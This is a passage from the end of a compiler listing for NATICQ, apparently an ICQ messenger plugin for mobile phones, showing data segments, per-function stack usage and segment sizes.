+03:00" \ 333A303000 \ 000000CB 00 DC8 0 \ 000000CC 474D54202B30 DC8 "GMT +02:00" \ 323A303000 \ 000000D7 00 DC8 0 \ 000000D8 474D54202B30 DC8 "GMT +01:00" \ 313A303000 \ 000000E3 00 DC8 0 \ 000000E4 474D54203030 DC8 "GMT 00:00" \ 3A303000 \ 000000EE 0000 DC8 0, 0 \ 000000F0 474D54202D30 DC8 "GMT -01:00" \ 313A303000 \ 000000FB 00 DC8 0 \ 000000FC 474D54202D30 DC8 "GMT -02:00" \ 323A303000 \ 00000107 00 DC8 0 \ 00000108 474D54202D30 DC8 "GMT -03:00" \ 333A303000 \ 00000113 00 DC8 0 \ 00000114 474D54202D30 DC8 "GMT -03:30" \ 333A333000 \ 0000011F 00 DC8 0 \ 00000120 474D54202D30 DC8 "GMT -04:00" \ 343A303000 \ 0000012B 00 DC8 0 \ 0000012C 474D54202D30 DC8 "GMT -05:00" \ 353A303000 \ 00000137 00 DC8 0 \ 00000138 474D54202D30 DC8 "GMT -06:00" \ 363A303000 \ 00000143 00 DC8 0 \ 00000144 474D54202D30 DC8 "GMT -07:00" \ 373A303000 \ 0000014F 00 DC8 0 \ 00000150 474D54202D30 DC8 "GMT -08:00" \ 383A303000 \ 0000015B 00 DC8 0 \ 0000015C 474D54202D30 DC8 "GMT -09:00" \ 393A303000 \ 00000167 00 DC8 0 \ 00000168 474D54202D31 DC8 "GMT -10:00" \ 303A303000 \ 00000173 00 DC8 0 \ 00000174 474D54202D31 DC8 "GMT -11:00" \ 313A303000 \ 0000017F 00 DC8 0 \ 00000180 474D54202D31 DC8 "GMT -12:00" \ 323A303000 \ 0000018B 00 DC8 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 343A5C7A6269 DC8 "4:\\zbin\\etc\\NATICQ_344720626.bcfg" \ 6E5C6574635C \ 4E4154494351 \ 5F3334343732 \ 303632362E62 \ 63666700 \ 00000022 0000 DC8 0, 0 \ 00000024 43616E277420 DC8 "Can't open configs!" \ 6F70656E2063 \ 6F6E66696773 \ 2100 \ 00000038 343A5C7A6269 DC8 "4:\\zbin\\etc\\NATICQMod_344720626.bcfg" \ 6E5C6574635C \ 4E4154494351 \ 4D6F645F3334 \ 343732303632 \ 362E62636667 \ 00 \ 0000005D 000000 DC8 0, 0, 0 \ 00000060 4E4154494351 DC8 "NATICQMod_344720626" \ 4D6F645F3334 \ 343732303632 \ 3600 \ 00000074 4E4154494351 DC8 "NATICQ_344720626" \ 5F3334343732 \ 3036323600 \ 00000085 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 C2FBE1F0E0F2 DC8 "\302\373\341\360\340\362\374" \ FC00 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 41E2F2EEE1EE DC8 "A\342\362\356\341\356\362" \ F200 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 C7E2F3EA00 DC8 "\307\342\363\352" \ 00000005 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 C2E8E1F0E000 DC8 "\302\350\341\360\340" \ 00000006 0000 DC8 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 CEEFF6E8E800 DC8 "\316\357\366\350\350" \ 00000006 0000 DC8 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 C7E0EAF0FBF2 DC8 "\307\340\352\360\373\362\374" \ FC00 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 C2FBE1EEF000 DC8 "\302\373\341\356\360" \ 00000006 0000 DC8 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 CFF0E0E200 DC8 "\317\360\340\342" \ 00000005 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 CBE5E200 DC8 "\313\345\342" \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 766973352E70 DC8 "vis5.png" \ 6E6700 \ 00000009 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 766973342E70 DC8 "vis4.png" \ 6E6700 \ 00000009 000000 DC8 0, 0, 0 Maximum stack usage in bytes: Function CSTACK -------- ------ AddContactT9Key 12 AddCurContact 4 AddLOGQ 0 AddMsgToChat 92 AddSmile 4 AddStringToLog 200 AddToMain 44 AskNickAndAddContact 4 BackSpaceContactT9 8 ChangeAutoMsg 4 ChangeAutobot 4 ChangeShowXstatus 4 ChangeSound 4 ChangeSoundContact 4 ChangeVibra 4 ChangeVibraContact 4 CheckComand 328 CheckDoubleRun 8 ClearContactT9Key 4 ClearLog 60 ClearSendQ 8 CreateContactMenu 32 CreateEditChat 100 DrawAck 84 DrawAutoMSG 80 DrawOnlineTime 20 DrawPing 12 ElfKiller 4 ExtractAnswer 36 FindContactLOGQByAck 12 FindNextActiveContact 0 FindPrevActiveContact 0 FreeBotMessage 8 FreeLOGQ 8 FreeTemplates 8 FreeXText2 8 GetHost 0 GetHostsCount 0 GetIconIndex 0 GetLastXTextLOGQ 0 GetOnTotalContact 8 GetPort 16 GetShortInfo 24 GetTempName 20 Get_Online_total 0 IlluminationOff 8 IlluminationOn 24 InputAwayMsg 92 IsUrl 44 LastLOGQ 0 LoadBotMessage 332 LoadTemplates 332 NewLOGQ 12 OpenLogfile 20 ParseAnswer 36 ParseXStatusText 20 Pinger2 16 Play 240 ProcessPacket 412 Quote 152 Quote2 152 ReadDefSettings 168 RecountMenu 20 Remind_Timer2 8 Reminder_timer 4 RemoveLOGQ 4 ReqAddMsgToChat 16 RequestXText 8 SLI_Off 4 SLI_On 8 SLI_Timer 4 SLI_check 4 SMART_REDRAW 8 SaveAnswer 12 ScreenSaverTimer 8 SendAnswer 28 SendAuthGrant 48 SendAuthReq 48 SendMSGACK 8 SetIconBarHandler 0 SetIndividStatus 0 UpdateCLheader 76 UpdateCSMname 4 UpdateConfig 28 UptimeMinHour 0 WriteDefSettings 164 addIconBar 16 ask_my_info 0 atoi 4 away_timer 24 begin_to_develop 4 checkGui 8 contact_keyhook 4 contact_list_ghook 4 contacthandler 28 contactlist_menu_ghook 28 contactlist_menu_iconhndl 668 contactlist_menu_onkey 64 create_connect 312 create_contactlist_menu 24 do_ping 4 do_reconnect 4 ec_menu 72 ecmenu_ghook 4 ed_options_handler 112 edchat_ghook 72 edchat_locret 0 edchat_onkey 392 end_socket 8 free_ICONS 16 get_answer 1096 get_file_size 48 init_time_zone 4 input_awaymsg_ghook 4 input_awaymsg_locret 0 input_awaymsg_onkey 72 main 64 maincsm_onclose 8 maincsm_oncreate 20 maincsm_onmessage 96 method0 116 method1 8 method2 8 method3 8 method4 0 method5 24 method8 0 method9 0 my_ed_redraw 12 my_keyhook 16 new_redraw 100 patch_header 8 process_active_timer 12 recon 8 send_login 36 set_my_status 4 set_my_xstatus 48 set_my_xstatus2 40 setup_ICONS 12 show_on_contact 64 show_pp_sender 68 start_vibra 8 start_vibra2 8 stop_vibra 4 stop_vibra2 4 to_develop 4 upTime 20 wstrstr 32 Segment part sizes: Function/Label Bytes -------------- ----- patch_header 52 UpdateConfig 1508 get_file_size 40 Pinger2 144 SLI_TYPE 4 SMART_REDRAW 48 ScreenSaverTimer 84 timeh 4 timemin 4 FreeXText2 36 away_timer 220 init_time_zone 360 DrawPing 56 Remind_Timer2 64 Reminder_timer 32 UptimeMinHour 64 upTime 148 DrawOnlineTime 124 show_on_contact 364 DrawAutoMSG 108 input_awaymsg_onkey 316 input_awaymsg_ghook 68 input_awaymsg_locret 4 InputAwayMsg 448 SLI_On 60 SLI_Off 72 SLI_check 32 SLI_Timer 36 setup_ICONS 72 free_ICONS 44 IlluminationOff 52 IlluminationOn 120 ReadDefSettings 344 WriteDefSettings 340 Play 292 start_vibra 92 stop_vibra 84 start_vibra2 60 stop_vibra2 84 ChangeVibra 56 ChangeSound 56 FreeTemplates 56 LoadTemplates 404 FreeBotMessage 56 LoadBotMessage 404 RXbuf 16392 TXbuf 16392 ElfKiller 32 NewLOGQ 52 LastLOGQ 36 FreeLOGQ 48 RemoveLOGQ 52 AddLOGQ 44 GetLastXTextLOGQ 72 GetIconIndex 228 FindContactLOGQByAck 88 new_redraw 240 UpdateCLheader 732 ClearContactT9Key 24 AddContactT9Key 44 BackSpaceContactT9 44 create_contactlist_menu 76 contactlist_menu_ghook 180 RecountMenu 160 ChangeVibraContact 44 ChangeSoundContact 44 ChangeAutoMsg 44 ChangeShowXstatus 44 ChangeAutobot 44 contact_list_ghook 20 contact_keyhook 48 contacthandler 200 icon_array 76 CreateContactMenu 136 contactlist_menu_onkey 1976 GetOnTotalContact 92 contactlist_menu_iconhndl 668 GetHost 192 atoi 84 GetPort 276 GetHostsCount 120 create_connect 740 ClearSendQ 32 end_socket 40 SendAnswer 388 send_login 144 do_ping 56 SendMSGACK 52 RequestXText 52 get_answer 1460 AddToMain 548 AddStringToLog 568 ParseXStatusText 152 AddMsgToChat 768 DrawAck 332 ask_my_info 4 set_my_status 72 set_my_xstatus 532 set_my_xstatus2 244 to_develop 80 ReqAddMsgToChat 120 begin_to_develop 52 CheckComand 2396 INC_Nick 32 show_pp_sender 340 Get_Online_total 92 SetIndividStatus 56 ProcessPacket 2612 process_active_timer 144 method0 1768 method1 44 method2 36 method3 24 method4 20 method5 212 method8 8 method9 8 my_keyhook 152 ? 1068 ipc_test_name 8 S_OFFLINE 8 S_INVISIBLE 12 S_AWAY 8 S_NA 4 S_OCCUPIED 12 S_DND 4 S_ONLINE 8 S_FFC 4 icons_names 112 input_awaymsg_desc 128 percent_s 3 ? 12 maincsm_oncreate 260 maincsm_onclose 332 do_reconnect 40 CheckDoubleRun 104 checkGui 60 maincsm_onmessage 2772 addIconBar 284 minus11 4 maincsm_name_body 280 UpdateCSMname 32 SetIconBarHandler 20 main 468 edchat_locret 4 ExtractAnswer 280 ??FindNextActiveContact_0 64 FindPrevActiveContact 88 ed_options_handler 816 wstrstr 124 IsUrl 424 ParseAnswer 548 SaveAnswer 36 GetTempName 172 DMonth 52 recon 52 edchat_onkey 1560 my_ed_redraw 112 edchat_ghook 560 edchat_desc 84 sk 16 CreateEditChat 1064 Quote 416 Quote2 440 GetShortInfo 168 AddCurContact 52 SendAuthReq 212 SendAuthGrant 204 OpenLogfile 168 ClearLog 240 ecmenu_ghook 20 ecmenu_ITEMS 252 ecmenu_HNDLS 36 S_ICONS 10536 disk 4 IsActiveUp 4 sk 8 input_awaymsg_sk 24 input_awaymsg_skt 8 menuproc 20 ecmenu_HDR 64 ec_menu 332 AskNickAndAddContact 8 AddSmile 24 ??DataTable1 4 ??DataTable3 4 ??DataTable4 4 ??DataTable11 4 ??DataTable14 4 ??DataTable16 4 ??DataTable19 4 ??DataTable29 4 ??DataTable31 4 ??DataTable42 4 ??DataTable43 4 ??DataTable49 4 ??DataTable50 4 ??DataTable55 4 ??DataTable58 4 ??DataTable59 4 ??DataTable61 4 ??DataTable62 4 ??DataTable63 4 ??DataTable64 4 ??DataTable66 4 ??DataTable73 4 ??DataTable74 4 ??DataTable78 4 ??DataTable81 4 ??DataTable85 4 ??DataTable86 4 ??DataTable88 4 ??DataTable89 4 ??DataTable90 4 ??DataTable91 4 ??DataTable93 4 ??DataTable94 4 ??DataTable97 4 ??DataTable98 4 ??DataTable99 4 ??DataTable102 4 ??DataTable103 4 ??DataTable110 4 ??DataTable112 4 ??DataTable117 4 ??DataTable118 4 ??DataTable119 4 ??DataTable120 4 ??DataTable124 4 ??DataTable125 4 ??DataTable126 4 ??DataTable127 4 ??DataTable128 4 ??DataTable129 4 ??DataTable131 4 ??DataTable135 4 ??DataTable136 4 ??DataTable137 4 ??DataTable138 4 ??DataTable139 4 ??DataTable141 4 ??DataTable144 4 ??DataTable145 4 ??DataTable146 4 ??DataTable147 4 ??DataTable151 4 ??DataTable153 4 ??DataTable154 4 ??DataTable160 4 ??DataTable162 4 ??DataTable163 4 ??DataTable164 4 ??DataTable166 4 ??DataTable167 4 ? 10536 ? 4 ? 4 ? 8 ? 24 ? 8 ? 20 ? 4 ? 12 ? 12 ? 12 ? 16 ? 12 ? 12 ? 12 ? 12 ? 12 ? 16 ? 12 ? 12 ? 12 ? 8 ? 12 ? 12 ? 12 ? 12 ? 12 ? 16 ? 8 ? 16 ? 8 ? 12 ? 16 ? 12 ? 1 ? 3 ? 8 ? 4 ? 4 ? 12 ? 164 ? 8 ? 36 ? 4 ? 4 ? 3 ? 3 ? 3 ? 64 ? 8 ? 3 ? 12 ? 40 ? 2 ? 4 ?_1 4 ?_1 4 ?_1 4 ? 4 ? 12 ? 24 ? 16 ? 3 ? 16 ?_1 8 ? 396 ? 136 ? 8 ? 8 ? 8 ? 8 ? 8 ? 8 ? 8 ? 8 ? 4 ? 12 ? 12 Others 1112 41 564 bytes in segment CODE 5 584 bytes in segment DATA_C 10 604 bytes in segment DATA_I 10 604 bytes in segment DATA_ID 33 180 bytes in segment DATA_Z 24 bytes in segment INITTAB 40 424 bytes of CODE memory (+ 1 164 bytes shared) 16 188 bytes of CONST memory 43 784 bytes of DATA memory Errors: none Warnings: none